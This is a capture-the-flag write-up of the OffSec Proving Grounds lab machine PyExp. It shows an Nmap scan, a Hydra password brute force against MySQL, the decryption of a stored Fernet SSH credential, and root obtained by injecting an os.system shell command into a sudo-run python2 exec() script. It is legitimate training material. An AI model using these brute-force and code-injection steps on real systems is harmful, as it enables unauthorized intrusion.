2023-09-17-Proving_grounds_Play-PyExp.md

title	layout	date	tag	writeups	hidden	author	description
Proving grounds Play: PyExp	post	2023-09-17 02:00	CTF Offsec labs OSCP Writeup Linux Pg-Play	true	true	Naveen	Offsec proving grounds play linux machine writeup

Nmap

PORT     STATE SERVICE VERSION
1337/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7af6cd12694dce51a221a644e1c34a9 (RSA)
|   256 46d28dbd2f9eafcee2455ca612c0d919 (ECDSA)
|_  256 8d11edff7dc5a72499227fce2988b24a (ED25519)
3306/tcp open  mysql   MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
|   Thread ID: 368
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSpaceBeforeParenthesis, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, IgnoreSigpipes, DontAllowDatabaseTableColumn, SupportsCompression, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, LongColumnFlag, FoundRows, ODBCClient, ConnectWithDatabase, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: KyD%+GeFklYZ8G;3,#he
|_  Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Brute Force mysql credentials

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.204.118

Credentials obtained root:prettywoman.

Select database data and check the tables.

MariaDB [(none)]> use data;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [data]> show tables;
+----------------+
| Tables_in_data |
+----------------+
| fernet         |
+----------------+
1 row in set (0.215 sec)

Extract data from the table fernet.

MariaDB [data]> SELECT * from fernet;
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| cred                                                                                                                     | keyy                                         |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
1 row in set (0.182 sec)

MariaDB [data]>

Fernet Decode

Decoded data

Decoded:	lucy:wJ9`"Lemdv9[FEw-
Date created:	Mon Aug 10 21:02:44 2020
Current time:	Sun Sep 17 03:36:04 2023

======Analysis====
Decoded data:  80000000005f31b5f46ea5894d37472946181bd53963a2460a980488baa6608565581eedf20becb9ac9f84b38efdc1e7250175fe26efd78b22d4c6cbec382df4e764f262870172e1c8766995ac74bf4d8c33387fcff788ef2b
Version:	80
Date created:	000000005f31b5f4
IV:		6ea5894d37472946181bd53963a2460a
Cipher:		980488baa6608565581eedf20becb9ac9f84b38efdc1e7250175fe26efd78b22
HMAC:		d4c6cbec382df4e764f262870172e1c8766995ac74bf4d8c33387fcff788ef2b

======Converted====
IV:		6ea5894d37472946181bd53963a2460a
Time stamp:	1597093364
Date created:	Mon Aug 10 21:02:44 2020

Decoded data is a SSH credential.

SSH to user lucy using the password obtained in the above step.

Initial Foothold Obtained

Privilege Escalation

Check permissions for the user.

The user can run python2 as root without password and check the python code.

uinput = raw_input('how are you?')
exec(uinput)

The input uinput in the above code is not sanitized, so an arbitrary command injection vulnerability is exploitable.

Run the python code as super user as below with the input as a OS command.

import os; os.system("/bin/dash")

Root Obtained

Thanks for reading!

For more insights and updates, follow me on Twitter: @thevillagehacker.